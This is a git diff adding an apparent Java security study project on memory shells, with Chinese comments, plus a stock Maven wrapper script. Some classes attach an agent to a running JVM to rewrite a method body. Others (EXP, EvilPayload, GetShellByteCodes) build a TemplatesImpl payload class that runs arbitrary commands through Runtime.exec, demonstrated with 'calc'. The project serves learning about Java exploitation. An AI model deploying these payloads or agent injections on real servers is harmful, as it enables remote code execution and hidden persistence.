+ + + diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/java/AgentShell/Hello_Transform.java b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/java/AgentShell/Hello_Transform.java new file mode 100644 index 00000000..b1f90dfb --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/java/AgentShell/Hello_Transform.java @@ -0,0 +1,48 @@ +package AgentShell; + +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; + +import java.lang.instrument.ClassFileTransformer; +import java.lang.instrument.IllegalClassFormatException; +import java.security.ProtectionDomain; + +public class Hello_Transform implements ClassFileTransformer { + + @Override + public byte[] transform(ClassLoader loader, String className, Class classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { + try { + + //获取CtClass 对象的容器 ClassPool + ClassPool classPool = ClassPool.getDefault(); + + //添加额外的类搜索路径 + if (classBeingRedefined != null) { + ClassClassPath ccp = new ClassClassPath(classBeingRedefined); + classPool.insertClassPath(ccp); + } + + //获取目标类 + CtClass ctClass = classPool.get("AgentShell.Sleep_Hello"); + System.out.println(ctClass); + + //获取目标方法 + CtMethod ctMethod = ctClass.getDeclaredMethod("hello"); + + //设置方法体 + String body = "{System.out.println(\"Hacker!\");}"; + ctMethod.setBody(body); + + //返回目标类字节码 + byte[] bytes = ctClass.toBytecode(); + return bytes; + + }catch (Exception e){ + e.printStackTrace(); + } + return null; + } +} + diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/java/AgentShell/Inject_Agent.java b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/java/AgentShell/Inject_Agent.java new file mode 100644 index 00000000..840b4880 --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/java/AgentShell/Inject_Agent.java @@ -0,0 +1,27 @@ +package AgentShell; + +import com.sun.tools.attach.*; + +import java.io.IOException; +import java.util.List; + +public class Inject_Agent { + public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException { + //调用VirtualMachine.list()获取正在运行的JVM列表 + List list = VirtualMachine.list(); + for(VirtualMachineDescriptor vmd : list){ + System.out.println(vmd.displayName()); + //遍历每一个正在运行的JVM,如果JVM名称为Sleep_Hello则连接该JVM并加载特定Agent + if(vmd.displayName().equals("AgentShell.Sleep_Hello")){ + + //连接指定JVM + VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); + //加载Agent + virtualMachine.loadAgent("E:\\Coding\\Java\\Java-Agent-Memshell\\Instrumentation\\target\\Instrumentation-1.0-SNAPSHOT-jar-with-dependencies.jar"); + //断开JVM连接 + virtualMachine.detach(); + } + + } + } +} diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/java/AgentShell/Sleep_Hello.java b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/java/AgentShell/Sleep_Hello.java new file mode 100644 index 00000000..77b8b8a4 --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/java/AgentShell/Sleep_Hello.java @@ -0,0 +1,16 @@ +package AgentShell; + +import static java.lang.Thread.sleep; + +public class Sleep_Hello { + public static void main(String[] args) throws InterruptedException { + while(true) { + hello(); + sleep(3000); + } + } + public static void hello(){ + System.out.println("Hello World!"); + } +} + diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/java/AgentShell/agentmain_transform.java b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/java/AgentShell/agentmain_transform.java new file mode 100644 index 00000000..b46a8e3b --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/java/AgentShell/agentmain_transform.java @@ -0,0 +1,20 @@ +package AgentShell; + +import java.lang.instrument.Instrumentation; +import java.lang.instrument.UnmodifiableClassException; + +public class agentmain_transform { + public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException { + Class [] classes = inst.getAllLoadedClasses(); + + //获取目标JVM加载的全部类 + for(Class cls : classes){ + if (cls.getName().equals("AgentShell.Sleep_Hello")){ + + //添加一个transformer到Instrumentation,并重新触发目标类加载 + inst.addTransformer(new Hello_Transform(),true); + inst.retransformClasses(cls); + } + } + } +} diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/java/SimpleInstrumentation/Hello_Sleep.java b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/java/SimpleInstrumentation/Hello_Sleep.java new file mode 100644 index 00000000..618226ce --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/java/SimpleInstrumentation/Hello_Sleep.java @@ -0,0 +1,15 @@ +package SimpleInstrumentation; + +import static java.lang.Thread.sleep; + +public class Hello_Sleep { + public static void main(String[] args) throws InterruptedException { + while(true) { + hello(); + sleep(3000); + } + } + public static void hello(){ + System.out.println("Hello World!"); + } +} diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/java/SimpleInstrumentation/Java_Agent_agentmain_Instrumentation.java b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/java/SimpleInstrumentation/Java_Agent_agentmain_Instrumentation.java new file mode 100644 index 00000000..6f7f9ff5 --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/java/SimpleInstrumentation/Java_Agent_agentmain_Instrumentation.java @@ -0,0 +1,15 @@ +package SimpleInstrumentation; + +import java.lang.instrument.Instrumentation; + +public class Java_Agent_agentmain_Instrumentation { + public static void agentmain(String args, Instrumentation inst) throws InterruptedException { + Class [] classes = inst.getAllLoadedClasses(); + + for(Class cls : classes){ + System.out.println("------------------------------------------"); + System.out.println("加载类: "+cls.getName()); + System.out.println("是否可被修改: "+inst.isModifiableClass(cls)); + } + } +} diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/java/javassist/EXP.java b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/java/javassist/EXP.java new file mode 100644 index 00000000..cd58da70 --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/java/javassist/EXP.java @@ -0,0 +1,77 @@ +package javassist; + +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtConstructor; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InstantiateTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import javax.xml.transform.Templates; +import java.io.*; +import java.lang.reflect.Field; +import java.util.Base64; +import java.util.HashMap; +import java.util.Map; + +public class EXP { + public static void setValue(String name, Object target, Object value) { + try { + Field field = target.getClass().getDeclaredField(name); + field.setAccessible(true); + field.set(target, value); + } catch (Exception ignore) { + } + } + + + public static void setValue(Object target, String name, Object value) throws Exception { + Class c = target.getClass(); + Field field = c.getDeclaredField(name); + field.setAccessible(true); + field.set(target,value); + } + + public static byte[] getTemplatesImpl(String cmd) { + try { + ClassPool pool = ClassPool.getDefault(); + CtClass ctClass = pool.makeClass("Evil"); + CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); + ctClass.setSuperclass(superClass); + CtConstructor constructor = ctClass.makeClassInitializer(); + constructor.setBody(" try {\n" + + " Runtime.getRuntime().exec(\"" + cmd + + "\");\n" + + " } catch (Exception ignored) {\n" + + " }"); + byte[] bytes = ctClass.toBytecode(); + ctClass.writeFile("E:\\Coding\\Java\\Java-Agent-Memshell\\Instrumentation\\src\\main\\java\\javassist"); + ctClass.defrost(); + return bytes; + } catch (Exception e) { + e.printStackTrace(); + return new byte[]{}; + } + } + + public static void main(String[] args) throws Exception { + + TemplatesImpl templates = new TemplatesImpl(); + setValue(templates,"_name", "aaa"); + + byte[] code = getTemplatesImpl("calc"); + byte[][] bytecodes = {code}; + setValue(templates, "_bytecodes", bytecodes); + setValue(templates,"_tfactory", new TransformerFactoryImpl()); + + templates.newTransformer(); + + } +} diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/java/javassist/EvilPayload.java b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/java/javassist/EvilPayload.java new file mode 100644 index 00000000..4eda5395 --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/java/javassist/EvilPayload.java @@ -0,0 +1,39 @@ +package javassist; + +import java.io.File; +import java.io.FileOutputStream; + +public class EvilPayload { + + public static byte[] getTemplatesImpl(String cmd) { + try { + ClassPool pool = ClassPool.getDefault(); + CtClass ctClass = pool.makeClass("Evil"); + CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); + ctClass.setSuperclass(superClass); + CtConstructor constructor = ctClass.makeClassInitializer(); + constructor.setBody(" try {\n" + + " Runtime.getRuntime().exec(\"" + cmd + + "\");\n" + + " } catch (Exception ignored) {\n" + + " }"); + byte[] bytes = ctClass.toBytecode(); + ctClass.defrost(); + return bytes; + } catch (Exception e) { + e.printStackTrace(); + return new byte[]{}; + } + } + + + public static void writeShell() throws Exception { + byte[] shell = EvilPayload.getTemplatesImpl("Calc"); + FileOutputStream fileOutputStream = new FileOutputStream(new File("S.class")); + fileOutputStream.write(shell); + } + + public static void main(String[] args) throws Exception { + writeShell(); + } +} diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/java/javassist/GetShellByteCodes.java b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/java/javassist/GetShellByteCodes.java new file mode 100644 index 00000000..a25beae4 --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/java/javassist/GetShellByteCodes.java @@ -0,0 +1,37 @@ +package javassist; + +import javassist.*; + +import java.io.File; +import java.io.FileOutputStream; +import java.io.IOException; + +public class GetShellByteCodes { + + public static byte[] getTemplatesImpl(String cmd){ + try { + ClassPool pool = ClassPool.getDefault(); + CtClass ctClass = pool.makeClass("A"); + CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); + ctClass.setSuperclass(superClass); + CtConstructor constructor = CtNewConstructor.make("public A(){Runtime.getRuntime().exec(\"" + cmd + "\");\n}", ctClass); + ctClass.addConstructor(constructor); + byte[] bytes = ctClass.toBytecode(); + ctClass.defrost(); + return bytes; + + }catch (Exception e){ + e.printStackTrace(); + return new byte[]{}; + } + } + + public static void WriteShell() throws IOException { + byte[] shell = GetShellByteCodes.getTemplatesImpl("calc"); + FileOutputStream fileOutputStream = new FileOutputStream(new File("S")); + fileOutputStream.write(shell); + } + public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException { + WriteShell(); + } +} \ No newline at end of file diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/java/javassist/Javassist_Test.java b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/java/javassist/Javassist_Test.java new file mode 100644 index 00000000..41a9fb20 --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/java/javassist/Javassist_Test.java @@ -0,0 +1,49 @@ +package javassist; + +import java.lang.reflect.Modifier; + +public class Javassist_Test { + public static void Create_Person() throws Exception { + + //获取 CtClass 对象的容器 ClassPool + ClassPool classPool = ClassPool.getDefault(); + + //创建一个新类 Javassist.Learning.Person + CtClass ctClass = classPool.makeClass("javassist.Person"); + + //创建一个类属性 name + CtField ctField1 = new CtField(classPool.get("java.lang.String"), "name", ctClass); + //设置属性访问符 + ctField1.setModifiers(Modifier.PRIVATE); + //将 name 属性添加进 Person 中,并设置初始值为 Drunkbaby + ctClass.addField(ctField1, CtField.Initializer.constant("Drunkbaby")); + + //向 Person 类中添加 setter 和 getter + ctClass.addMethod(CtNewMethod.setter("setName", ctField1)); + ctClass.addMethod(CtNewMethod.getter("getName", ctField1)); + + //创建一个无参构造 + CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass); + //设置方法体 + ctConstructor.setBody("{name = \"Drunkbaby\";}"); + //向Person类中添加无参构造 + ctClass.addConstructor(ctConstructor); + + //创建一个类方法printName + CtMethod ctMethod = new CtMethod(CtClass.voidType,"printName", new CtClass[]{}, ctClass); + //设置方法访问符 + ctMethod.setModifiers(Modifier.PRIVATE); + //设置方法体 + ctMethod.setBody("{System.out.println(name);}"); + //将该方法添加进Person中 + ctClass.addMethod(ctMethod); + + //将生成的字节码写入文件 + ctClass.writeFile("E:\\Coding\\Java\\Java-Agent-Memshell\\Instrumentation\\src\\main\\java"); + } + + public static void main(String[] args) throws Exception { + Create_Person(); + } + +} diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/java/javassist/Person.java b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/java/javassist/Person.java new file mode 100644 index 00000000..baf1f661 --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/java/javassist/Person.java @@ -0,0 +1,4 @@ +package javassist; + +public class Person { +} diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/resources/META-INF/maven/MAINFEST.MF b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/resources/META-INF/maven/MAINFEST.MF new file mode 100644 index 00000000..f72cd988 --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/resources/META-INF/maven/MAINFEST.MF @@ -0,0 +1,4 @@ +Manifest-Version: 1.0 +Agent-Class: AgentShell.agentmain_transform +Can-Redefine-Classes: true +Can-Retransform-Classes: true diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/resources/META-INF/maven/archetype.xml b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/resources/META-INF/maven/archetype.xml new file mode 100644 index 00000000..3761615b --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/resources/META-INF/maven/archetype.xml @@ -0,0 +1,9 @@ + + Instrumentation + + src/main/java/App.java + + + src/test/java/AppTest.java + + diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/resources/archetype-resources/pom.xml b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/resources/archetype-resources/pom.xml new file mode 100644 index 00000000..ea30030f --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/resources/archetype-resources/pom.xml @@ -0,0 +1,15 @@ + + 4.0.0 + $org.example + $Instrumentation + 1ドル.0-SNAPSHOT + + + junit + junit + 3.8.1 + test + + + diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/resources/archetype-resources/src/main/java/App.java b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/resources/archetype-resources/src/main/java/App.java new file mode 100644 index 00000000..1fa6a956 --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/resources/archetype-resources/src/main/java/App.java @@ -0,0 +1,13 @@ +package $org.example; + +/** + * Hello world! + * + */ +public class App +{ + public static void main( String[] args ) + { + System.out.println( "Hello World!" ); + } +} diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/resources/archetype-resources/src/test/java/AppTest.java b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/resources/archetype-resources/src/test/java/AppTest.java new file mode 100644 index 00000000..65be417e --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/src/main/resources/archetype-resources/src/test/java/AppTest.java @@ -0,0 +1,38 @@ +package $org.example; + +import junit.framework.Test; +import junit.framework.TestCase; +import junit.framework.TestSuite; + +/** + * Unit test for simple App. + */ +public class AppTest + extends TestCase +{ + /** + * Create the test case + * + * @param testName name of the test case + */ + public AppTest( String testName ) + { + super( testName ); + } + + /** + * @return the suite of tests being tested + */ + public static Test suite() + { + return new TestSuite( AppTest.class ); + } + + /** + * Rigourous Test :-) + */ + public void testApp() + { + assertTrue( true ); + } +} diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/Java_Agent_SpringBoot/.gitignore b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Java_Agent_SpringBoot/.gitignore new file mode 100644 index 00000000..549e00a2 --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Java_Agent_SpringBoot/.gitignore @@ -0,0 +1,33 @@ +HELP.md +target/ +!.mvn/wrapper/maven-wrapper.jar +!**/src/main/**/target/ +!**/src/test/**/target/ + +### STS ### +.apt_generated +.classpath +.factorypath +.project +.settings +.springBeans +.sts4-cache + +### IntelliJ IDEA ### +.idea +*.iws +*.iml +*.ipr + +### NetBeans ### +/nbproject/private/ +/nbbuild/ +/dist/ +/nbdist/ +/.nb-gradle/ +build/ +!**/src/main/**/build/ +!**/src/test/**/build/ + +### VS Code ### +.vscode/ diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/Java_Agent_SpringBoot/.mvn/wrapper/maven-wrapper.jar b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Java_Agent_SpringBoot/.mvn/wrapper/maven-wrapper.jar new file mode 100644 index 00000000..c1dd12f1 Binary files /dev/null and b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Java_Agent_SpringBoot/.mvn/wrapper/maven-wrapper.jar differ diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/Java_Agent_SpringBoot/.mvn/wrapper/maven-wrapper.properties b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Java_Agent_SpringBoot/.mvn/wrapper/maven-wrapper.properties new file mode 100644 index 00000000..b7cb93e7 --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Java_Agent_SpringBoot/.mvn/wrapper/maven-wrapper.properties @@ -0,0 +1,2 @@ +distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.8.4/apache-maven-3.8.4-bin.zip +wrapperUrl=https://repo.maven.apache.org/maven2/org/apache/maven/wrapper/maven-wrapper/3.1.0/maven-wrapper-3.1.0.jar diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/Java_Agent_SpringBoot/mvnw b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Java_Agent_SpringBoot/mvnw new file mode 100644 index 00000000..8a8fb228 --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Java_Agent_SpringBoot/mvnw @@ -0,0 +1,316 @@ +#!/bin/sh +# ---------------------------------------------------------------------------- +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +# ---------------------------------------------------------------------------- + +# ---------------------------------------------------------------------------- +# Maven Start Up Batch script +# +# Required ENV vars: +# ------------------ +# JAVA_HOME - location of a JDK home dir +# +# Optional ENV vars +# ----------------- +# M2_HOME - location of maven2's installed home dir +# MAVEN_OPTS - parameters passed to the Java VM when running Maven +# e.g. to debug Maven itself, use +# set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000 +# MAVEN_SKIP_RC - flag to disable loading of mavenrc files +# ---------------------------------------------------------------------------- + +if [ -z "$MAVEN_SKIP_RC" ] ; then + + if [ -f /usr/local/etc/mavenrc ] ; then + . /usr/local/etc/mavenrc + fi + + if [ -f /etc/mavenrc ] ; then + . /etc/mavenrc + fi + + if [ -f "$HOME/.mavenrc" ] ; then + . "$HOME/.mavenrc" + fi + +fi + +# OS specific support. $var _must_ be set to either true or false. +cygwin=false; +darwin=false; +mingw=false +case "`uname`" in + CYGWIN*) cygwin=true ;; + MINGW*) mingw=true;; + Darwin*) darwin=true + # Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home + # See https://developer.apple.com/library/mac/qa/qa1170/_index.html + if [ -z "$JAVA_HOME" ]; then + if [ -x "/usr/libexec/java_home" ]; then + export JAVA_HOME="`/usr/libexec/java_home`" + else + export JAVA_HOME="/Library/Java/Home" + fi + fi + ;; +esac + +if [ -z "$JAVA_HOME" ] ; then + if [ -r /etc/gentoo-release ] ; then + JAVA_HOME=`java-config --jre-home` + fi +fi + +if [ -z "$M2_HOME" ] ; then + ## resolve links - 0ドル may be a link to maven's home + PRG="0ドル" + + # need this for relative symlinks + while [ -h "$PRG" ] ; do + ls=`ls -ld "$PRG"` + link=`expr "$ls" : '.*-> \(.*\)$'` + if expr "$link" : '/.*'> /dev/null; then + PRG="$link" + else + PRG="`dirname "$PRG"`/$link" + fi + done + + saveddir=`pwd` + + M2_HOME=`dirname "$PRG"`/.. + + # make it fully qualified + M2_HOME=`cd "$M2_HOME" && pwd` + + cd "$saveddir" + # echo Using m2 at $M2_HOME +fi + +# For Cygwin, ensure paths are in UNIX format before anything is touched +if $cygwin ; then + [ -n "$M2_HOME" ] && + M2_HOME=`cygpath --unix "$M2_HOME"` + [ -n "$JAVA_HOME" ] && + JAVA_HOME=`cygpath --unix "$JAVA_HOME"` + [ -n "$CLASSPATH" ] && + CLASSPATH=`cygpath --path --unix "$CLASSPATH"` +fi + +# For Mingw, ensure paths are in UNIX format before anything is touched +if $mingw ; then + [ -n "$M2_HOME" ] && + M2_HOME="`(cd "$M2_HOME"; pwd)`" + [ -n "$JAVA_HOME" ] && + JAVA_HOME="`(cd "$JAVA_HOME"; pwd)`" +fi + +if [ -z "$JAVA_HOME" ]; then + javaExecutable="`which javac`" + if [ -n "$javaExecutable" ] && ! [ "`expr \"$javaExecutable\" : '\([^ ]*\)'`" = "no" ]; then + # readlink(1) is not available as standard on Solaris 10. + readLink=`which readlink` + if [ ! `expr "$readLink" : '\([^ ]*\)'` = "no" ]; then + if $darwin ; then + javaHome="`dirname \"$javaExecutable\"`" + javaExecutable="`cd \"$javaHome\" && pwd -P`/javac" + else + javaExecutable="`readlink -f \"$javaExecutable\"`" + fi + javaHome="`dirname \"$javaExecutable\"`" + javaHome=`expr "$javaHome" : '\(.*\)/bin'` + JAVA_HOME="$javaHome" + export JAVA_HOME + fi + fi +fi + +if [ -z "$JAVACMD" ] ; then + if [ -n "$JAVA_HOME" ] ; then + if [ -x "$JAVA_HOME/jre/sh/java" ] ; then + # IBM's JDK on AIX uses strange locations for the executables + JAVACMD="$JAVA_HOME/jre/sh/java" + else + JAVACMD="$JAVA_HOME/bin/java" + fi + else + JAVACMD="`\\unset -f command; \\command -v java`" + fi +fi + +if [ ! -x "$JAVACMD" ] ; then + echo "Error: JAVA_HOME is not defined correctly.">&2 + echo " We cannot execute $JAVACMD">&2 + exit 1 +fi + +if [ -z "$JAVA_HOME" ] ; then + echo "Warning: JAVA_HOME environment variable is not set." +fi + +CLASSWORLDS_LAUNCHER=org.codehaus.plexus.classworlds.launcher.Launcher + +# traverses directory structure from process work directory to filesystem root +# first directory with .mvn subdirectory is considered project base directory +find_maven_basedir() { + + if [ -z "1ドル" ] + then + echo "Path not specified to find_maven_basedir" + return 1 + fi + + basedir="1ドル" + wdir="1ドル" + while [ "$wdir" != '/' ] ; do + if [ -d "$wdir"/.mvn ] ; then + basedir=$wdir + break + fi + # workaround for JBEAP-8937 (on Solaris 10/Sparc) + if [ -d "${wdir}" ]; then + wdir=`cd "$wdir/.."; pwd` + fi + # end of workaround + done + echo "${basedir}" +} + +# concatenates all lines of a file +concat_lines() { + if [ -f "1ドル" ]; then + echo "$(tr -s '\n' ' ' < "1ドル")" + fi +} + +BASE_DIR=`find_maven_basedir "$(pwd)"` +if [ -z "$BASE_DIR" ]; then + exit 1; +fi + +########################################################################################## +# Extension to allow automatically downloading the maven-wrapper.jar from Maven-central +# This allows using the maven wrapper in projects that prohibit checking in binary data. +########################################################################################## +if [ -r "$BASE_DIR/.mvn/wrapper/maven-wrapper.jar" ]; then + if [ "$MVNW_VERBOSE" = true ]; then + echo "Found .mvn/wrapper/maven-wrapper.jar" + fi +else + if [ "$MVNW_VERBOSE" = true ]; then + echo "Couldn't find .mvn/wrapper/maven-wrapper.jar, downloading it ..." + fi + if [ -n "$MVNW_REPOURL" ]; then + jarUrl="$MVNW_REPOURL/org/apache/maven/wrapper/maven-wrapper/3.1.0/maven-wrapper-3.1.0.jar" + else + jarUrl="https://repo.maven.apache.org/maven2/org/apache/maven/wrapper/maven-wrapper/3.1.0/maven-wrapper-3.1.0.jar" + fi + while IFS="=" read key value; do + case "$key" in (wrapperUrl) jarUrl="$value"; break ;; + esac + done < "$BASE_DIR/.mvn/wrapper/maven-wrapper.properties" + if [ "$MVNW_VERBOSE" = true ]; then + echo "Downloading from: $jarUrl" + fi + wrapperJarPath="$BASE_DIR/.mvn/wrapper/maven-wrapper.jar" + if $cygwin; then + wrapperJarPath=`cygpath --path --windows "$wrapperJarPath"` + fi + + if command -v wget> /dev/null; then + if [ "$MVNW_VERBOSE" = true ]; then + echo "Found wget ... using wget" + fi + if [ -z "$MVNW_USERNAME" ] || [ -z "$MVNW_PASSWORD" ]; then + wget "$jarUrl" -O "$wrapperJarPath" || rm -f "$wrapperJarPath" + else + wget --http-user=$MVNW_USERNAME --http-password=$MVNW_PASSWORD "$jarUrl" -O "$wrapperJarPath" || rm -f "$wrapperJarPath" + fi + elif command -v curl> /dev/null; then + if [ "$MVNW_VERBOSE" = true ]; then + echo "Found curl ... using curl" + fi + if [ -z "$MVNW_USERNAME" ] || [ -z "$MVNW_PASSWORD" ]; then + curl -o "$wrapperJarPath" "$jarUrl" -f + else + curl --user $MVNW_USERNAME:$MVNW_PASSWORD -o "$wrapperJarPath" "$jarUrl" -f + fi + + else + if [ "$MVNW_VERBOSE" = true ]; then + echo "Falling back to using Java to download" + fi + javaClass="$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.java" + # For Cygwin, switch paths to Windows format before running javac + if $cygwin; then + javaClass=`cygpath --path --windows "$javaClass"` + fi + if [ -e "$javaClass" ]; then + if [ ! -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then + if [ "$MVNW_VERBOSE" = true ]; then + echo " - Compiling MavenWrapperDownloader.java ..." + fi + # Compiling the Java class + ("$JAVA_HOME/bin/javac" "$javaClass") + fi + if [ -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then + # Running the downloader + if [ "$MVNW_VERBOSE" = true ]; then + echo " - Running MavenWrapperDownloader.java ..." + fi + ("$JAVA_HOME/bin/java" -cp .mvn/wrapper MavenWrapperDownloader "$MAVEN_PROJECTBASEDIR") + fi + fi + fi +fi +########################################################################################## +# End of extension +########################################################################################## + +export MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-"$BASE_DIR"} +if [ "$MVNW_VERBOSE" = true ]; then + echo $MAVEN_PROJECTBASEDIR +fi +MAVEN_OPTS="$(concat_lines "$MAVEN_PROJECTBASEDIR/.mvn/jvm.config") $MAVEN_OPTS" + +# For Cygwin, switch paths to Windows format before running java +if $cygwin; then + [ -n "$M2_HOME" ] && + M2_HOME=`cygpath --path --windows "$M2_HOME"` + [ -n "$JAVA_HOME" ] && + JAVA_HOME=`cygpath --path --windows "$JAVA_HOME"` + [ -n "$CLASSPATH" ] && + CLASSPATH=`cygpath --path --windows "$CLASSPATH"` + [ -n "$MAVEN_PROJECTBASEDIR" ] && + MAVEN_PROJECTBASEDIR=`cygpath --path --windows "$MAVEN_PROJECTBASEDIR"` +fi + +# Provide a "standardized" way to retrieve the CLI args that will +# work with both Windows and non-Windows executions. +MAVEN_CMD_LINE_ARGS="$MAVEN_CONFIG $@" +export MAVEN_CMD_LINE_ARGS + +WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain + +exec "$JAVACMD" \ + $MAVEN_OPTS \ + $MAVEN_DEBUG_OPTS \ + -classpath "$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar" \ + "-Dmaven.home=${M2_HOME}" \ + "-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}" \ + ${WRAPPER_LAUNCHER} $MAVEN_CONFIG "$@" diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/Java_Agent_SpringBoot/mvnw.cmd b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Java_Agent_SpringBoot/mvnw.cmd new file mode 100644 index 00000000..1d8ab018 --- /dev/null +++ 